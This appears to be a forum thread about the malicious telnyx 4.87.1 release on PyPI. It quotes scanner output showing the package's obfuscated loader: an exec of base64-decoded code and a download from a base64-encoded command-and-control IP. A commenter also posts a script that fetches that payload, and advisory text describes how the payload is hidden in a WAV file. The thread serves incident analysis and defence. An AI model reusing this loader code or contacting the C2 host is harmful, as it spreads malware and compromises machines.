[tool.uv]
  exclude-newer = "7 days"

  exclude-newer = "7 days"

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

  hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-confidence high  --exclude HX4000

  warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
  86:13
       │
  7783 │         except:
  7784 │             pass
  7785 │
  7786 │         r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       │             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
  7787 │         with urllib.request.urlopen(r, timeout=15) as d:
  7788 │             with open(t, "wb") as f:
  7789 │                 f.write(d.read())
       │
       = Confidence: High
         Help: Data exfiltration is the unauthorized transfer of data from a computer.


  warning[HX4010]: Execution of obfuscated code.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
  10:9
       │
  7807 │       if os.name == 'nt':
  7808 │           return
  7809 │       try:
  7810 │ ╭         subprocess.Popen(
  7811 │ │             [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
  7812 │ │             stdout=subprocess.DEVNULL,
  7813 │ │             stderr=subprocess.DEVNULL,
  7814 │ │             start_new_session=True
  7815 │ │         )
       │ ╰─────────^ HX4010
  7816 │       except:
  7817 │           pass
  7818 │
       │
       = Confidence: VeryHigh
         Help: Obfuscated code exec can be used to bypass detection.

More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).

> What to Do If Affected

> Downgrade immediately:

> pip install telnyx==4.87.0

Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.

Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

Never really thought too much about the security implications but that is of course a benefit too.

Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.

Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?

Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.

I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.

It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.

Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.